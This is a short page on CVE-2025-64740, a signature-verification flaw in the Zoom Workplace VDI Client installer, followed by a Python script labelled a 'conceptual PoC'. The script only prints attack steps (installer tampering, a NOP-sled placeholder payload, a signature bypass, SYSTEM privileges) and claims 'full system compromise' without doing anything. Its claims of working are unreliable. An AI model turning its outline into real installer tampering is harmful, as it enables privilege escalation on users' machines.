CVE-2025-64740 Zoom Workplace VDI Client安装程序签名验证不当导致权限提升

# CVE-2025-64740 PoC Concept # Zoom Workplace VDI Client Signature Verification Bypass # This is a conceptual PoC demonstrating the attack vector import struct import hashlib def create_malicious_installer(): """ Conceptual PoC for CVE-2025-64740 Attack Vector: Exploit improper cryptographic signature verification """ print("[*] CVE-2025-64740 Conceptual PoC") print("[*] Target: Zoom Workplace VDI Client for Windows Installer") print("[*] Vulnerability: Improper signature verification allows package tampering") # Step 1: Obtain original Zoom installer original_installer = "ZoomInstaller_VDI.msi" print(f"\n[1] Obtaining original installer: {original_installer}") # Step 2: Modify installer (inject malicious payload) print("[2] Modifying installer package...") malicious_payload = b"\x90" * 256 # NOP sled + shellcode placeholder print(f" - Injected payload size: {len(malicious_payload)} bytes") # Step 3: Exploit signature verification flaw print("[3] Exploiting signature verification bypass...") print(" - Original verification checks signature against manifest") print(" - Bypass method: Modify signature validation logic") print(" - Result: Installer accepts tampered package without warning") # Step 4: Execute with elevated privileges print("[4] Triggering privilege escalation...") print(" - User executes: ZoomInstaller_VDI.msi") print(" - Malicious code executes with SYSTEM privileges") print(" - Result: Full system compromise achieved") return True if __name__ == "__main__": create_malicious_installer()